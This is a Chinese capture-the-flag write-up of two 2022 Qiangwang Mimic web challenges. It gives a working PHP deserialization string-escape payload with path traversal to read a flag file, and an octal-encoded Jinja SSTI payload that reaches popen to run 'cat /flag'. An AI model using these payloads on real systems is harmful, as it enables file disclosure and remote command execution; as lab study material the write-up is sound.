ezus

第一个页面的意思是要我们访问tm.php

<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{exit("no way!");
}
if (isset($_GET['source']))
{$path = basename($_SERVER['PHP_SELF']);if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path)){exit("nonono!");}highlight_file($path);exit();
}
?>
<a href="index.php?source">source</a>

这个知识点在之前有考到
https://blog.csdn.net/mochu7777777/article/details/127216646
简单来说就是利用linux的解析漏洞,当他的末尾不是一个ascii的可见字符的时候,就会将他丢弃,取出他上面的文件名
但是如果是windows就会正常取出

然后看到tm.php源码

<?php
class UserAccount
{protected $username;protected $password;public function __construct($username, $password){$this->username = $username;$this->password = $password;}
}function object_sleep($str)
{$ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);return $ob;
}function object_weakup($ob)
{$r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);return $r;
}class order
{public $f;public $hint;public function __construct($hint, $f){$this->f = $f;$this->hint = $hint;}public function __wakeup(){//something in hint.phpif ($this->hint != "pass" || $this->f != "pass") {$this->hint = "pass";$this->f = "pass";}}public function __destruct(){if (filter_var($this->hint, FILTER_VALIDATE_URL)){$r = parse_url($this->hint);if (!empty($this->f)) {if (strpos($this->f, "try") !==  false && strpos($this->f, "pass") !== false) {@include($this->f . '.php');} else {die("try again!");}if (preg_match('/prankhub$/', $r['host'])) {@$out = file_get_contents($this->hint);echo "<br/>".$out;} else {die("<br/>error");}} else {die("try it!");}}else{echo "Invalid URL";}}
}$username = $_POST['username'];
$password = $_POST['password'];$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?>

很明显又看到在进行反序列化的时候进行了对含有private类名的替换以及还原,但是如果我们恶意构造出@0@0@0@让其替换那么我们就可以造成字符串逃逸吃掉后面他的反序列化,自己生成我们的反序列化。
替换一次@0@0@0@变成0x00*0x00也就是长度由7变成3吃掉四个字符串。我们只需要算出后面我们是需要替换的内容是多少个字符串然后后面的反序列化部分就是由我们自己控制的了,
先看看如何利用,我们看到在order类中由两个读取文件的函数file_get_contents、include可以读取文件
测试发现需要逃逸的地方是后面的24个字符,所以我们只需要构造6个@0@0@0@就可以“吃掉”后面的内容我们就可以直接构造反序列化。
页面有个hint.php进去看了之后找到flag文件名f1111444449999.txt因为include后面拼接了.php所以需要用到下面的file_get_contents
这里用到了应该是php的特性

php在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
所以我们就可以使用前面构造的payload(php如果识别不了就会当成一个目录)在进行目录穿越,穿越到根目录读取f1111444449999.txt

所以我们构造一个任意的协议,然后将prankhub写在协议后进行目录穿越,到根目录下读取即可
payload:

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:8:"password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:49:"0://prankhub/../../../../../../f1111444449999.txt";}}

没有人比我更懂py

ssti,过滤了全英文。
可以用八进制绕过,而且这里好像全半角变更有问题,过滤是变更之前的,所以如果使用全角输入那么毫无过滤。
所以直接选用payload变更成8进制即可,我这里挑选用的是

"".__class__.__mro__[1].__subclasses__()[132].__init__.__golbals__['popen'][ls].read()
{{""["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()}}

2022强网拟态web复现相关推荐

  1. 2022强网拟态pwn-webheap

    2022强网拟态pwn-webheap 这题的逻辑是一开始笔者硬逆给逆出来了,但是后面在Ex师傅的点播下成功的在github上找到了这个的原生项目 https://github.com/google/ ...

  2. 2022强网拟态pwn-store

    2022强网拟态pwn-store 这是一个综合题,io链接的构造,orw的系统位数的限制 首先是这个沙箱,64位只有r和w,一开始看的时候很纳闷多了32位的限制,64位还没有o,查了一下才知道这样的 ...

  3. 2022强网拟态pwn-bfbf

    2022强网拟态pwn-bfbf 这题笔者感觉就是绕过这个read的限制,之前遇见过类似的,可以用close(0)然后read读flag的时候rdi可以置为0,就可以绕过line 0005的限制了,赛 ...

  4. 等你来战 | 第五届“强网”拟态防御国际精英挑战赛报名开启!

    ​​第五届"强网"拟态防御国际精英挑战赛 震撼来袭 大赛报名通道同步开启 创新赛道 亮点纷呈! 大赛已经连续举办4届 打造全球网安竞赛风向标 本届大赛共设置300万奖金 汇集全球顶 ...

  5. 第五届“强网”拟态防御国际精英挑战赛——特邀战队篇

    第五届"强网"拟态防御国际精英挑战赛即将在南京隆重开赛!本届大赛面向全球顶尖CTF战队,在创新应用场景与技术的基础上,拓展升级赛道,全面覆盖典型网络设备.大赛汇集国内外60支精英战 ...

  6. 重磅来袭 | 第五届“强网”拟态防御国际精英挑战赛创新升级,燃爆全球!

    ​​第五届"强网"拟态防御国际精英挑战赛将于2022年11月17日在南京盛大开幕.本届赛事由中国工程院.中国科学技术协会.国家互联网信息办公室网络安全协调局.科学技术部高新技术司作 ...

  7. 第二届“强网”拟态防御国际精英挑战赛落幕,29支国内外精英队伍未能突破拟态防御,赛宁网安靶场平台完美支撑BWM新赛制.

    5月22至23日,由赛宁网安技术支持的第二届"强网"拟态防御国际精英挑战赛在南京江宁圆满落幕!该赛事吸引了网络安全领域及社会各界的广泛关注,本届大赛由中国工程院.中国网络空间安全协 ...

  8. 喜报---第四届“强网”拟态防御国际精英挑战赛冠军决出

    第四届"强网"拟态防御国际精英挑战赛于2021年11月12日正式闭幕.本届大赛由中国工程院.江苏省人民政府.国家互联网信息办公室网络安全协调局.科学技术部高新技术司作为指导单位,南 ...

  9. 第五届“强网”拟态防御国际精英挑战赛——预选赛入围战队篇

    ​​第五届"强网"拟态防御国际精英挑战赛即将隆重开赛!本届大赛汇集国内外60支精英战队,参赛阵容.数量再创新高. 本届大赛共设置两种入围模式: 1.特邀模式 邀请15支国外知名战队 ...

最新文章

  1. TensorRT Analysis Report分析报告
  2. 北大研究人员这次发现了AI「躺平」原因,都是数据集的错!
  3. FZU-Problem 2191 完美的数字
  4. 使用ASP.NET Abstractions增强ASP.NET应用程序的可测试性
  5. Python的逻辑判断和循环 || 打印九九乘法表
  6. php 8 jit,深入理解PHP8 JIT
  7. 维基百科 百度百科:谁是真正的草根
  8. LCD显示屏原理与应用
  9. php期末作业经验,期末作业.php
  10. 若依编辑和删除操作按钮不可用怎么办?
  11. SQL Server 2016的新功能–临时数据表
  12. 不知道这十项Linux常识,就别说自己玩过Linux!
  13. ​【UI界面】Foobar2000 FlatLite 整合版
  14. 怎样用python录音_python实现录音功能(可随时停止录音)
  15. 什么是GMSK调制-高斯最小移位键控
  16. Httpclient4 简介
  17. 计算机表格复制粘贴,在Excel同一个工作表中,如何复制表格格式(excel表格粘贴复制技巧)...
  18. React Native 0.44.3 ----------微信h5支付
  19. 电话聊天狂人(25 分)
  20. 编译出现 warn_unused_result -Wunused-result 如何解决

热门文章

  1. Spark2学习2之window下编译spark-2.0.0
  2. EasyClick 免Root对接联众过验证码
  3. beaglebone black从SD卡启动Android和安兔兔跑分评测
  4. 压力传感器的误差构成及减小误差办法
  5. jQuery iCheck
  6. CCL2022 | 汉语学习者文本纠错评测期待您的参与!
  7. 【火狐】Image Picka安装
  8. 【计算几何】凸包之graham算法(适合小白)
  9. 不知道怎么向女神表白?Python三大神技分分钟带你成功逆袭!
  10. 【设计模式】观察者模式Observe(Java)